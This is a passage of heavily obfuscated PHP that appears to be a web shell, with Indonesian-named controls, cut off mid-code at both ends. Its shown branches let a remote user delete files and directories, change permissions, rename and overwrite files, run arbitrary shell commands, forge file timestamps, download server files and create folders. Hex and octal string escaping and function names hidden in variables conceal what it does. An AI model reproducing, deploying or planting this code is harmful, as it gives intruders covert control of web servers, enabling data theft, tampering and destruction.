"\x3c\160\162\x65\x3e".htmlspecialchars($h_27ab167c($_GET["\x6c\x6f\153\141\163\151\145"]))."\74\57\160\x72\145\76";author();}elseif(isset($_POST["\154\x6f\x6b\x6e\x79\x61"])&&$_POST["\x70\151\154\151\x68"]=="\150\x61\x70\165\163"){if($h_b024192($_POST["\154\157\x6b\156\x79\x61"])&&$v_ad6a2413($_POST["\x6c\x6f\153\156\171\141"])){xrd($_POST["\x6c\157\153\156\x79\x61"]);if($v_ad6a2413($_POST["\154\x6f\153\156\171\141"])){red("\x46\x61\x69"."\x6c\145\144\40\x74\x6f\40\144\x65\154"."\x65\164\x65\x20\104\151\x72"."\145\x63"."\164\x6f\162\171\x20\41");}else{green("\x44\145\x6c"."\145\x74\x65\40\104\151\162"."\145\x63\x74"."\157\162\x79\x20\123\x75\x63"."\x63\x65\x73\x73\40\x21");}}elseif($a_48c8825e($_POST["\x6c\157\x6b\156\x79\x61"])&&$v_ad6a2413($_POST["\154\157\x6b\156\171\141"])){@$q_fcc37d19($_POST["\x6c\x6f\153\156\x79\x61"]);if($v_ad6a2413($_POST["\x6c\157\x6b\156\171\x61"])){red("\x46\x61\x69\x6c\x65\144\40\x74\x6f\40\x44\145\154\145\x74\145\40\x46\151"."\x6c\145\40\41");}else{green("\104\145"."\x6c\x65"."\x74\145\40\x46\x69"."\154\x65\x20\x53\x75\143\x63"."\145\163\163\x20\41");}}else{red("\x46\x69"."\x6c\145\x20\57\x20\104\x69\162"."\x65\143\x74\157"."\162\171\40\x6e\157\164\40\x46\x6f"."\165\156\x64\40\41");}}elseif(isset($_GET["\x70\151\154\151\150\141\x6e"])&&$_POST["\x70\x69\154\x69\x68"]=="\165\x62\x61\x68\x6d\157\x64"){if(!isset($_POST["\143\x65\x6d\x6f\x64"])){if($_POST["\x74\171"."\x70\x65"]=="\146\x69"."\x6c\145"){echo "\x3c\x63\145\x6e\x74\x65\162\76\106\x69"."\154\x65\40\x3a\x20".htmlspecialchars($_POST["\154\157\x6b\x6e\171\141"])."\x3c\142\x72\x3e";}else{echo "\74\x63\x65\x6e\x74\x65\x72\x3e\x44"."\151\162\x20\72\x20".htmlspecialchars($_POST["\x6c\157\x6b\x6e\171\141"])."\74\x62\x72\x3e";}echo "\x3c\146\157\x72\155\40\155\x65\x74\x68\157\144\75\42\160\x6f\x73\x74\42\76\xa\x9\11\x50\x65"."\x72\155\151"."\163\x73"."\x69\157\156\x20\72\40\x3c\x69\156\160\x75\164\40\156\x61\155\x65\x3d\x22\x70\x65\162\155\42\40\x74\171\160\145\x3d\42\x74\x65\170\164\42\x20\143\154\x61\x73\163\x3d\x22\165\x70\x22\x20\163\x69\x7a\145\75\42\x34\x22\x20\x6d\141\x78\154\145\x6e\x67\x74\150\x3d\42\64\x22\x20\166\x61\154\x75\x65\75\x22".$b_f64846df($x_f1b91dcf("\x25\x6f",$f_9155b880($_POST["\154\157\x6b\x6e\x79\141"])),-4)."\42\x20\x2f\x3e\xa\x9\x9\74\x69\x6e\160\x75\164\x20\164\x79\x70\145\x3d\x22\x68\151\144\x64\x65\x6e\42\40\x6e\141\x6d\145\75\x22\x6c\157\x6b\156\171\x61\x22\40\166\141\154\x75\145\75\x22".$_POST["\x6c\157\x6b\x6e\171\x61"]."\42\76\12\x9\x9\74\x69\156\x70\x75\x74\x20\164\171\x70\x65\75\42\x68\151\x64\144\145\156\x22\x20\x6e\x61\x6d\x65\75\42\x70\151\x6c\x69\150\42\x20\x76\141\x6c\165\x65\75\x22\x75\x62\141\x68\155\x6f\x64\x22\76";if($_POST["\164\171"."\160\x65"]=="\x66\x69"."\x6c\x65"){echo "\74\151\156\x70\165\x74\40\x74\x79\160\145\75\x22\150\151\144\144\x65\x6e\42\40\156\x61\x6d\x65\75\42\x74\171\160\x65\x22\x20\166\x61\154\165\x65\x3d\x22\146\x69"."\x6c\145\42\76";}else{echo "\74\151\x6e\x70\x75\x74\40\x74\171\160\x65\x3d\x22\x68\x69\x64\x64\x65\x6e\x22\40\x6e\x61\155\x65\75\42\x74\171\160\145\42\40\x76\x61\154\x75\145\x3d\x22\144\x69"."\x72\x22\76";}echo "\x3c\x69\x6e\160\x75\x74\40\164\171\160\x65\x3d\42\x73\x75\142\155\x69\164\42\x20\166\141\x6c\x75\145\x3d\42\x43\150\x61\x6e\147\x65\42\x20\156\x61\155\x65\75\42\143\x65\x6d\x6f\144\x22\x20\x63\x6c\141\x73\x73\75\42\165\x70\42\x20\x73\x74\171\x6c\x65\x3d\x22\143\165\x72\163\157\x72\x3a\40\x70\x6f\x69\156\164\x65\x72\73\x20\142\x6f\x72\144\145\162\55\x63\157\x6c\157\162\x3a\x20\x23\x66\146\x66\x22\57\76\12\x9\x9\x3c\57\146\x6f\162\x6d\76\x3c\142\162\76";}else{$a_25a5b23f=@$v_13a94065($_POST["\154\157\153\156\171\141"],$r_8b0e2cb8($_POST["\x70\x65\162\x6d"]));if($a_25a5b23f==true){green("\x43\x68\141\156\x67\x65\x20\115\157\144\x20\123\x75\x63\x63\145\163\163\x20\41");if($_POST["\164\171"."\x70\x65"]=="\146\x69"."\154\x65"){echo "\74\x63\x65\156\x74\145\x72\x3e\106\x69"."\154\145\x20\72\x20".htmlspecialchars($_POST["\x6c\x6f\153\156\x79\141"])."\74\x62\162\x3e";}else{echo "\x3c\143\145\156\164\x65\x72\76\x44"."\x69\x72\x20\x3a\40".htmlspecialchars($_POST["\154\x6f\153\x6e\x79\x61"])."\74\142\162\76";}echo "\x3c\146\x6f\x72\x6d\40\155\x65\x74\x68\x6f\x64\75\x22\160\x6f\x73\x74\x22\76\12\x9\11\11\x50\145"."\162\155\151"."\x73\163"."\x69\x6f\156\40\72\x20\x3c\x69\x6e\x70\165\x74\40\156\141\x6d\145\x3d\x22\x70\145\162\x6d\x22\x20\164\171\160\x65\75\x22\x74\x65\170\164\42\40\143\154\x61\x73\163\75\x22\165\x70\x22\40\163\x69\x7a\x65\x3d\42\64\42\x20\x6d\141\x78\x6c\145\156\147\164\x68\75\x22\64\x22\40\x76\x61\154\x75\x65\75\x22".$b_f64846df($x_f1b91dcf("\45\157",$f_9155b880($_POST["\154\157\153\x6e\171\x61"])),-4)."\42\40\57\76\12\11\11\11\x3c\x69\x6e\x70\165\x74\40\x74\171\160\x65\75\42\150\151\x64\x64\145\156\42\x20\x6e\141\x6d\x65\75\42\154\x6f\x6b\156\171\141\42\40\166\x61\154\x75\x65\75\x22".$_POST["\x6c\157\x6b\x6e\x79\141"]."\42\76\12\11\11\11\74\151\x6e\160\165\164\x20\164\x79\x70\x65\x3d\x22\150\151\144\x64\x65\156\x22\x20\x6e\141\x6d\x65\75\x22\160\x69\x6c\151\150\x22\40\166\x61\x6c\165\x65\75\42\165\142\141\150\x6d\157\x64\x22\76";if($_POST["\164\x79"."\x70\145"]=="\146\x69"."\x6c\x65"){echo "\x3c\x69\x6e\x70\x75\164\x20\164\171\x70\x65\75\42\x68\x69\x64\144\145\156\42\40\156\141\x6d\145\x3d\x22\164\171\x70\x65\x22\40\166\141\x6c\165\145\75\x22\146\151"."\x6c\145\42\x3e";}else{echo "\74\x69\x6e\160\x75\164\40\x74\171\x70\x65\x3d\42\150\151\144\x64\145\x6e\x22\x20\x6e\141\155\145\x3d\x22\164\171\x70\145\x22\x20\x76\x61\154\165\145\75\42\x64\151"."\x72\42\x3e";}echo "\74\x69\156\x70\x75\164\40\164\x79\160\145\x3d\x22\163\x75\142\155\151\164\42\x20\x76\x61\154\x75\145\x3d\x22\x43\150\x61\x6e\x67\145\x22\40\x6e\x61\x6d\x65\x3d\x22\143\145\155\x6f\144\42\40\143\154\141\163\x73\x3d\x22\165\x70\42\40\x73\164\x79\154\145\x3d\x22\143\x75\x72\163\157\162\x3a\x20\x70\x6f\151\156\164\145\162\x3b\x20\x62\157\x72\x64\x65\x72\55\x63\x6f\154\157\x72\x3a\x20\x23\x66\146\x66\x22\x2f\x3e\12\11\x9\11\74\57\146\157\x72\155\x3e\74\142\x72\76";}else{red("\x43\150\141\x6e\147\145\x20\115\x6f\x64\40\106\x61\151\x6c\x65\x64\x20\x21");if($_POST["\164\x79"."\160\x65"]=="\x66\151"."\x6c\x65"){echo "\74\x63\145\x6e\164\x65\162\x3e\106\151"."\154\145\x20\x3a\40".htmlspecialchars($_POST["\154\x6f\153\x6e\x79\x61"])."\x3c\142\162\76";}else{echo "\x3c\143\x65\x6e\164\x65\162\76\x44"."\x69\162\40\72\x20".htmlspecialchars($_POST["\154\157\x6b\x6e\x79\x61"])."\x3c\x62\x72\x3e";}echo "\x3c\146\157\162\155\x20\x6d\x65\164\x68\157\x64\75\42\x70\157\x73\x74\x22\x3e\xa\11\11\x9\x50\145"."\162\x6d\x69"."\x73\163"."\x69\x6f\156\x20\x3a\40\74\151\x6e\x70\x75\164\40\x6e\x61\155\x65\x3d\x22\160\x65\x72\155\42\40\x74\x79\160\x65\x3d\42\x74\x65\x78\x74\42\x20\x63\x6c\x61\163\163\75\x22\165\x70\x22\40\163\151\172\x65\x3d\x22\x34\x22\x20\x6d\141\x78\154\145\x6e\147\x74\150\x3d\x22\64\x22\40\166\x61\x6c\165\x65\x3d\x22".$b_f64846df($x_f1b91dcf("\x25\x6f",$f_9155b880($_POST["\x6c\x6f\x6b\x6e\x79\141"])),-4)."\42\40\x2f\x3e\xa\x9\x9\x9\74\151\156\x70\x75\164\x20\x74\x79\x70\145\75\42\x68\151\144\x64\x65\156\x22\40\156\141\x6d\x65\x3d\x22\154\x6f\153\x6e\x79\141\x22\40\x76\x61\154\165\x65\75\42".$_POST["\x6c\x6f\x6b\156\x79\141"]."\x22\x3e\xa\x9\11\11\x3c\151\156\x70\165\164\40\x74\x79\x70\145\75\42\150\x69\144\x64\145\x6e\x22\x20\156\x61\x6d\x65\x3d\42\160\x69\154\x69\150\42\x20\166\x61\154\165\145\75\x22\165\142\141\x68\x6d\x6f\144\x22\x3e";if($_POST["\x74\x79"."\160\x65"]=="\146\x69"."\x6c\x65"){echo "\74\x69\x6e\160\165\164\x20\164\171\160\145\x3d\x22\x68\151\144\144\145\156\x22\x20\x6e\141\155\145\75\x22\164\171\x70\x65\42\40\166\x61\154\x75\145\x3d\x22\146\151"."\x6c\145\42\76";}else{echo "\74\151\x6e\x70\x75\x74\40\x74\171\x70\145\75\x22\x68\151\x64\144\x65\156\x22\x20\x6e\141\x6d\x65\75\x22\x74\x79\x70\145\x22\40\x76\141\x6c\165\x65\x3d\42\x64\151"."\x72\x22\76";}echo "\74\x69\x6e\x70\165\x74\40\x74\171\x70\x65\75\x22\163\165\142\x6d\151\x74\42\x20\166\141\154\165\145\x3d\x22\103\150\x61\x6e\x67\x65\x22\40\156\x61\x6d\x65\x3d\42\143\145\155\x6f\144\42\x20\143\x6c\x61\x73\x73\75\42\165\160\x22\40\163\x74\171\x6c\145\75\x22\x63\165\162\x73\157\162\x3a\x20\x70\x6f\x69\156\x74\145\162\73\40\142\x6f\162\x64\145\162\55\143\157\x6c\157\x72\72\40\x23\146\x66\146\x22\x2f\76\xa\x9\11\11\74\x2f\x66\157\x72\x6d\76\74\142\x72\x3e";}}}elseif(isset($_POST["\154\157\x6b\x6e\171\141"])&&$_POST["\160\151\154\x69\150"]=="\165\x62\x61\x68\156\141\155\141"){if(isset($_POST["\147\141\156\x74\151\x6e"])){$b_d91af94=$_GET["\x6c\157\x6b\x6e\171\x61"]."\57".$_POST["\156\145\167\156\141\x6d\x65"];$m_9402395f="\x72\x65"."\x6e\x61"."\155\145";if(@$m_9402395f($_POST["\x6c\157\153\x6e\171\x61"],$b_d91af94)===true){green("\103\150\x61\x6e\x67\145\40\116\141\x6d\x65\x20\123\165\143\x63\145\163\x73");if($_POST["\164\x79"."\160\145"]=="\146\151"."\154\x65"){echo "\x3c\x63\x65\156\x74\x65\x72\76\x46\x69"."\154\145\x20\72\40".htmlspecialchars($_POST["\154\x6f\x6b\x6e\171\x61"])."\74\142\x72\x3e";}else{echo "\74\143\145\x6e\x74\145\x72\x3e\104"."\151\162\40\x3a\x20".htmlspecialchars($_POST["\x6c\157\x6b\156\171\x61"])."\74\x62\162\x3e";}echo "\x3c\x66\x6f\x72\155\40\155\x65\164\x68\x6f\x64\75\x22\x70\x6f\163\x74\42\76\12\11\11\11\116\x65\x77\x20\x4e\x61\x6d\145\40\x3a\40\74\151\156\x70\165\x74\x20\156\x61\x6d\x65\x3d\42\x6e\x65\167\x6e\x61\155\145\x22\x20\164\x79\x70\x65\x3d\42\x74\145\x78\164\x22\40\x63\x6c\141\163\x73\x3d\42\x75\160\x22\40\163\x69\172\x65\x3d\x22\62\x30\x22\x20\x76\x61\154\165\x65\x3d\42".htmlspecialchars($_POST["\x6e\x65\x77\156\x61\155\145"])."\42\40\57\76\12\x9\x9\11\x3c\151\156\160\x75\x74\40\164\171\x70\145\x3d\42\150\x69\x64\144\x65\156\42\40\x6e\x61\x6d\x65\x3d\x22\154\x6f\x6b\156\171\x61\x22\x20\x76\141\x6c\x75\145\x3d\42".$_POST["\156\x65\167\x6e\x61\x6d\x65"]."\42\76\12\x9\11\11\74\x69\x6e\x70\x75\164\x20\x74\171\x70\x65\75\x22\150\151\144\x64\145\x6e\x22\40\156\141\x6d\145\x3d\42\x70\x69\x6c\151\150\42\40\x76\x61\x6c\x75\145\x3d\42\165\x62\x61\150\x6e\141\155\141\x22\76";if($_POST["\164\171"."\x70\145"]=="\x66\151"."\x6c\145"){echo "\74\151\156\x70\165\x74\40\164\171\x70\x65\75\x22\x68\x69\144\x64\145\x6e\x22\40\x6e\141\x6d\x65\75\x22\164\x79\160\x65\x22\40\x76\x61\154\x75\145\75\42\146\x69"."\154\x65\42\76";}else{echo "\x3c\151\156\x70\165\x74\x20\164\171\x70\x65\75\x22\150\x69\x64\144\145\156\x22\x20\156\x61\x6d\x65\75\x22\x74\x79\x70\145\x22\x20\166\141\x6c\165\x65\x3d\42\144\151"."\x72\x22\76";}echo "\x3c\x69\x6e\x70\165\164\x20\x74\x79\x70\145\75\x22\163\x75\142\x6d\x69\164\42\x20\166\141\x6c\x75\145\75\42\x43\150\x61\x6e\147\x65\x22\x20\156\x61\155\145\x3d\42\x67\x61\x6e\x74\x69\156\42\x20\x63\154\x61\x73\x73\75\x22\165\160\42\x20\x73\164\x79\x6c\145\75\42\143\x75\x72\163\x6f\x72\72\40\160\157\151\x6e\164\145\x72\x3b\x20\x62\x6f\162\144\x65\162\x2d\143\x6f\x6c\157\162\72\40\x23\146\146\146\42\x2f\76\12\x9\11\x9\74\57\x66\x6f\162\x6d\x3e\74\142\162\76";}else{red("\103\150\x61\156\147\x65\40\x4e\141\x6d\145\40\106\141\151\154\145\x64");}}else{if($_POST["\x74\171"."\160\x65"]=="\146\151"."\154\145"){echo "\74\143\145\156\164\145\162\76\106\151"."\x6c\x65\40\x3a\x20".htmlspecialchars($_POST["\x6c\x6f\x6b\x6e\171\x61"])."\x3c\142\x72\x3e";}else{echo "\74\143\145\x6e\164\145\162\x3e\104"."\151\x72\x20\x3a\40".htmlspecialchars($_POST["\154\157\153\x6e\171\x61"])."\74\142\x72\x3e";}echo "\x3c\146\157\x72\x6d\x20\155\145\164\x68\157\144\75\x22\160\157\x73\164\x22\76\12\11\11\116\145\167\40\116\x61\x6d\x65\x20\72\40\x3c\151\156\160\165\164\x20\156\141\155\145\75\x22\x6e\x65\x77\156\141\155\x65\x22\40\x74\x79\160\145\75\42\x74\x65\x78\164\42\40\x63\154\141\x73\163\75\42\x75\x70\x22\x20\x73\x69\x7a\145\75\42\x32\x30\x22\x20\x76\141\x6c\165\145\75\42".htmlspecialchars($i_f351eb00($_POST["\154\x6f\153\x6e\171\x61"]))."\42\40\x2f\76\12\11\11\74\x69\156\x70\x75\x74\x20\x74\x79\160\x65\x3d\x22\x68\x69\x64\144\x65\156\42\x20\156\x61\x6d\x65\75\42\154\x6f\153\x6e\171\x61\x22\x20\x76\141\x6c\165\x65\75\x22".$_POST["\154\x6f\153\156\x79\141"]."\x22\x3e\xa\11\11\x3c\151\156\x70\165\164\40\164\171\x70\145\75\42\x68\151\x64\144\x65\156\x22\x20\156\x61\x6d\x65\75\42\x70\x69\154\151\x68\x22\40\x76\141\x6c\x75\x65\x3d\42\165\142\x61\x68\156\141\x6d\x61\42\x3e";if($_POST["\x74\171"."\x70\145"]=="\x66\x69"."\154\x65"){echo "\74\151\x6e\160\x75\x74\40\164\171\x70\145\x3d\42\150\151\144\144\x65\156\x22\x20\156\x61\155\145\x3d\42\164\x79\160\145\42\40\x76\141\154\x75\145\x3d\42\x66\x69"."\x6c\x65\x22\x3e";}else{echo "\74\x69\156\160\x75\164\x20\x74\171\160\x65\75\x22\150\x69\x64\x64\x65\156\42\x20\156\141\x6d\145\x3d\42\164\171\x70\145\42\40\166\x61\154\x75\145\75\x22\144\151"."\x72\42\76";}echo "\74\x69\156\x70\x75\164\40\x74\x79\x70\x65\x3d\x22\163\x75\x62\155\x69\x74\x22\40\x76\x61\154\x75\145\x3d\42\103\x68\141\x6e\147\145\x22\x20\156\x61\155\145\75\x22\x67\x61\x6e\x74\151\156\x22\x20\143\x6c\x61\x73\163\x3d\42\x75\x70\42\x20\x73\x74\x79\x6c\x65\75\42\x63\165\x72\x73\x6f\x72\72\40\160\157\x69\x6e\164\x65\162\73\40\142\x6f\x72\x64\145\162\x2d\x63\157\154\157\162\72\x20\43\x66\x66\x66\42\57\x3e\xa\x9\11\x3c\x2f\x66\157\x72\155\76\x3c\x62\162\x3e";}}elseif(isset($_GET["\x70\x69\154\151\150\141\x6e"])&&$_POST["\160\x69\154\x69\150"]=="\145\x64\151\164"){if(isset($_POST["\147\141\163\x65\x64\151\164"])){$w_460580b=@$t_288d3c3($_POST["\154\157\x6b\x6e\171\x61"],$_POST["\163\x72\143"]);if($h_27ab167c($_POST["\x6c\157\x6b\156\171\141"])==$_POST["\x73\162\x63"]){green("\x45\144"."\x69\x74\40\106\151"."\154\145\x20\123\x75\143"."\143\x65"."\x73\163\x20\x21");}else{red("\x45\x64"."\x69\164\40\106\151"."\154\145\40\106\141\151"."\x6c\145\x64\40\41");}}echo "\74\143\x65\x6e\164\x65\x72\x3e\106\x69"."\x6c\x65\x20\x3a\40".htmlspecialchars($_POST["\x6c\x6f\153\x6e\171\141"])."\74\x62\162\76\74\142\x72\x3e";echo "\x3c\x66\157\162\x6d\x20\155\145\164\x68\x6f\144\x3d\42\160\157\x73\164\x22\x3e\xa\11\x3c\164\x65\170\164\141\x72\145\141\40\x63\157\x6c\x73\x3d\x38\60\x20\162\x6f\x77\x73\x3d\62\60\x20\156\141\x6d\x65\x3d\42\163\x72\143\42\x3e".htmlspecialchars($h_27ab167c($_POST["\x6c\157\153\x6e\x79\x61"]))."\74\x2f\164\145\x78\164\x61\x72\x65\x61\x3e\x3c\x62\162\x3e\xa\11\74\151\156\160\165\x74\x20\x74\171\160\145\x3d\x22\150\x69\144\x64\145\x6e\x22\40\x6e\141\x6d\x65\75\x22\154\157\153\x6e\x79\x61\x22\40\x76\141\x6c\165\x65\x3d\x22".$_POST["\154\x6f\x6b\156\x79\141"]."\42\x3e\xa\x9\x3c\x69\x6e\160\165\164\x20\x74\171\160\145\x3d\x22\x68\151\144\144\x65\156\42\x20\x6e\141\155\x65\x3d\42\160\151\x6c\151\x68\x22\40\166\141\154\165\x65\75\x22\x65\144"."\x69\x74\42\76\xa\x9\x3c\x69\156\160\x75\164\40\x74\171\x70\145\x3d\x22\x73\x75\142\x6d\x69\x74\x22\x20\x76\x61\x6c\165\145\x3d\x22\x45\144"."\151\164\x20\106\x69"."\x6c\x65\42\x20\156\x61\x6d\x65\75\42\147\x61\163\145\x64\x69\164\x22\x20\x63\x6c\141\163\163\75\x22\x75\x70\42\40\x73\x74\x79\154\145\x3d\42\143\x75\x72\x73\157\x72\x3a\x20\160\157\151\156\164\x65\162\x3b\x20\x62\157\x72\144\x65\x72\x2d\143\157\x6c\157\162\72\40\43\x66\146\x66\x22\x2f\76\xa\x9\74\57\x66\x6f\162\155\76\74\x62\162\x3e";}elseif(isset($_POST["\153\157\155\x65\156\x64\163"])){if(isset($_POST["\x6b\157\155\145\x6e\x64"])){if(isset($_GET["\x6c\x6f\153\156\x79\x61"])){$y_4148b6ac=$_GET["\154\157\x6b\156\171\141"];}else{$y_4148b6ac=$q_ffcec99e();}$g_15ffed03="\x6b\x6f"."\155\x65"."\x6e\144";echo $g_15ffed03($_POST["\153\157\x6d\145\x6e\x64"],$y_4148b6ac);die;}}elseif(isset($_POST["\154\157\x6b\x6e\x79\141"])&&$_POST["\x70\151\x6c\151\x68"]=="\x75\x62\x61\150\164\x61\156\x67\147\x61\154"){if(isset($_POST["\164\x61\x6e\x67\x67\141\154\145"])){$y_a787f119="\163\164"."\x72\164\x6f\x74"."\151\x6d\145";$x_1df73229="\x74"."\x6f\165"."\143\x68";$i_a2dc5d84=$y_a787f119($_POST["\164\141\156\x67\x67\141\x6c"]);if(@$x_1df73229($_POST["\x6c\x6f\x6b\156\x79\x61"],$i_a2dc5d84)===true){green("\103\x68\x61\x6e\x67\145\x20\x44\141"."\x74\145\40\123\165\x63\x63"."\145\x73\163\40\41");$h_2ccf0bcd="\144\x61"."\x74\x65";$l_76d76e54="\x66\x69"."\x6c\145"."\x6d\164\x69"."\155\x65";$f_c4a8afbc=$h_2ccf0bcd("\x64\x20\x46\40\131\40\x48\x3a\151\72\163",$l_76d76e54($_POST["\x6c\x6f\153\156\171\x61"]));if($_POST["\164\171"."\x70\145"]=="\x66\151"."\x6c\x65"){echo "\74\143\x65\x6e\x74\x65\x72\x3e\106\x69"."\154\x65\x20\72\x20".htmlspecialchars($_POST["\x6c\x6f\x6b\156\x79\141"])."\74\142\x72\x3e";}else{echo "\74\x63\145\156\x74\145\162\x3e\104"."\151\x72\x20\x3a\x20".htmlspecialchars($_POST["\154\x6f\153\156\x79\x61"])."\74\142\162\76";}echo "\74\146\x6f\162\x6d\40\x6d\x65\x74\150\x6f\x64\x3d\x22\160\157\163\164\x22\x3e\xa\11\x9\x9\116\x65\167\40\x44\141"."\164\x65\40\x3a\x20\74\x69\x6e\160\165\164\40\156\x61\x6d\x65\75\42\164\x61\156\147\x67\141\x6c\x22\40\x74\x79\x70\x65\x3d\42\164\x65\170\164\42\x20\x63\x6c\x61\163\x73\75\42\x75\160\x22\40\163\x69\172\x65\x3d\42\62\60\x22\x20\x76\141\x6c\165\145\x3d\x22".$f_c4a8afbc."\42\x20\x2f\x3e\12\x9\11\x9\74\151\156\160\x75\x74\x20\164\171\160\x65\75\42\x68\x69\x64\x64\145\x6e\x22\x20\x6e\141\155\145\x3d\x22\x6c\157\x6b\x6e\x79\x61\x22\40\166\x61\154\x75\145\x3d\42".$_POST["\x6c\157\x6b\x6e\171\141"]."\42\76\12\11\x9\x9\74\151\x6e\160\165\164\x20\164\x79\x70\x65\75\x22\x68\x69\144\x64\145\156\42\40\156\141\x6d\145\75\x22\160\x69\154\x69\x68\42\x20\x76\x61\154\165\145\x3d\42\x75\142\141\150\x74\x61\156\x67\x67\x61\154\42\76";if($_POST["\164\x79"."\160\145"]=="\x66\x69"."\154\x65"){echo "\74\151\x6e\160\165\164\40\x74\x79\160\x65\75\42\150\x69\x64\144\145\156\42\40\156\x61\x6d\x65\75\x22\164\x79\x70\145\x22\40\x76\141\x6c\165\x65\75\42\x66\151"."\x6c\145\x22\76";}else{echo "\74\x69\x6e\x70\165\x74\x20\x74\x79\x70\145\75\42\x68\x69\144\144\145\x6e\x22\x20\x6e\141\x6d\x65\x3d\42\x74\171\160\x65\x22\40\x76\141\x6c\x75\x65\x3d\42\144\151"."\162\x22\x3e";}echo "\x3c\151\x6e\x70\x75\164\x20\x74\x79\160\145\75\42\x73\x75\x62\x6d\151\164\42\40\166\141\x6c\x75\x65\x3d\x22\103\150\x61\156\147\x65\x22\x20\156\x61\155\145\x3d\42\164\141\x6e\147\147\141\x6c\x65\x22\x20\143\154\141\x73\163\75\x22\x75\160\x22\x20\x73\164\171\154\x65\x3d\42\143\165\x72\163\157\x72\x3a\x20\x70\x6f\151\156\164\x65\x72\73\x20\142\157\162\144\145\162\55\143\157\x6c\x6f\162\x3a\40\43\x66\x66\146\x22\57\x3e\xa\x9\x9\x9\74\x2f\146\157\x72\155\x3e\74\x62\162\x3e";}else{red("\x46\x61\x69"."\154\145\144\40\164\x6f\40\x43\150\141"."\156\x67\145\x20\x44\141"."\164\x65\40\x21");}}else{$h_2ccf0bcd="\144\x61"."\x74\x65";$l_76d76e54="\146\151"."\154\x65"."\155\164\151"."\155\x65";$f_c4a8afbc=$h_2ccf0bcd("\x64\40\106\40\131\40\110\72\x69\72\163",$l_76d76e54($_POST["\x6c\157\x6b\x6e\x79\x61"]));if($_POST["\164\x79"."\x70\x65"]=="\146\x69"."\x6c\x65"){echo "\x3c\x63\x65\x6e\164\x65\162\76\x46\x69"."\x6c\x65\40\x3a\x20".htmlspecialchars($_POST["\154\x6f\153\156\171\141"])."\74\142\x72\x3e";}else{echo "\x3c\143\x65\x6e\164\145\162\76\104"."\151\162\x20\x3a\40".htmlspecialchars($_POST["\154\157\x6b\x6e\x79\141"])."\74\x62\x72\x3e";}echo "\74\146\157\x72\x6d\x20\x6d\x65\x74\x68\x6f\144\75\42\x70\157\x73\x74\42\x3e\xa\x9\11\116\x65\167\x20\104\x61"."\x74\145\x20\x3a\x20\74\151\156\x70\x75\x74\x20\156\x61\x6d\145\x3d\42\x74\141\156\147\x67\x61\x6c\42\x20\x74\171\160\145\x3d\42\x74\x65\170\164\x22\40\143\x6c\141\x73\x73\75\x22\165\x70\x22\x20\163\151\x7a\145\75\42\x32\60\x22\40\x76\x61\x6c\x75\x65\x3d\x22".$f_c4a8afbc."\42\x20\57\x3e\12\11\x9\74\x69\x6e\x70\165\164\x20\x74\x79\x70\x65\75\x22\150\x69\144\x64\145\x6e\42\x20\156\141\x6d\x65\75\x22\154\x6f\x6b\x6e\x79\x61\42\40\166\x61\154\x75\145\x3d\x22".$_POST["\154\x6f\153\156\171\x61"]."\x22\x3e\xa\11\x9\74\x69\x6e\x70\165\164\40\x74\x79\160\x65\x3d\42\150\151\x64\x64\x65\x6e\x22\x20\156\141\x6d\x65\75\42\x70\x69\x6c\x69\x68\x22\40\166\x61\154\x75\145\75\x22\x75\x62\x61\150\x74\x61\156\147\x67\141\x6c\42\76";if($_POST["\x74\171"."\x70\x65"]=="\x66\151"."\154\145"){echo "\x3c\151\156\160\x75\164\x20\x74\x79\x70\145\75\42\x68\x69\144\144\x65\156\42\40\156\x61\155\x65\x3d\42\164\171\x70\145\x22\40\x76\141\x6c\165\x65\75\x22\146\151"."\x6c\x65\42\x3e";}else{echo "\x3c\151\156\160\x75\164\40\164\171\160\x65\75\x22\x68\x69\144\x64\x65\x6e\42\40\156\141\x6d\x65\x3d\x22\164\x79\x70\145\x22\40\166\141\154\165\x65\x3d\42\144\151"."\162\42\x3e";}echo "\74\x69\x6e\160\165\x74\40\x74\x79\x70\145\x3d\x22\x73\165\142\x6d\x69\164\x22\x20\x76\141\154\x75\145\75\x22\x43\x68\x61\x6e\147\145\x22\40\x6e\141\x6d\x65\75\42\x74\x61\x6e\147\x67\141\154\x65\42\40\143\154\x61\x73\163\x3d\42\x75\x70\42\40\163\x74\x79\x6c\145\75\42\143\x75\x72\163\157\x72\72\40\160\157\x69\156\x74\x65\x72\73\40\x62\157\x72\144\145\x72\x2d\143\157\x6c\157\162\x3a\40\43\x66\146\x66\x22\57\76\12\x9\x9\x3c\57\146\157\162\155\x3e\74\142\162\76";}}elseif(isset($_POST["\x6c\157\x6b\x6e\171\x61"])&&$_POST["\x70\x69\x6c\x69\150"]=="\x64\x75\x6e\154\x75\x74"){$k_15a31ff1=$_POST["\154\x6f\153\x6e\x79\x61"];if($v_ad6a2413($k_15a31ff1)&&isset($k_15a31ff1)){if($y_6372838($k_15a31ff1)){dunlut($k_15a31ff1);}elseif($s_c410bce1($f_101668c4)){red("\124\150\141\164\40\151\163\40\x44\x69"."\162\x65\x63"."\x74\157\162\x79\54\x20\116\x6f\x74\x20\x46\x69"."\x6c\x65\x20\55\x5f\x2d");}else{red("\x46\151"."\154\x65\40\151\x73\x20\116\157\164\40\122\145"."\141\x64\141\142"."\154\145\40\41");}}else{red("\x46\x69"."\154\x65\40\116\157\x74\x20\x46\x6f"."\165\x6e\144\x20\41");}}elseif(isset($_POST["\154\x6f\x6b\x6e\171\x61"])&&$_POST["\160\x69\154\151\x68"]=="\x66\157"."\x6c\144"."\x65\x72"){if($f_45c35a5c("\x2e\x2f")||$y_6372838("\x2e\x2f")){$a_f245410b=$_POST["\154\x6f\x6b\x6e\171\x61"];if(isset($_POST["\x62\165\x61\x74\146\157\154\144\x65\x72"])){$m_5746affa=$x_87e14b9($a_f245410b."\x2f".$_POST["\x66\157"."\x6c\x64\x65"."\162\x62\141"."\162\165"]);if($m_5746affa==true){green("\106\157\154\144\145\x72\40\74\x62\x3e".htmlspecialchars($_POST["\146\157"."\x6c\144\x65"."\x72\142\x61"."\162\165"])."\x3c\57\142\76\x20\x43\x72\x65\x61\x74\145\144\40\x21");echo 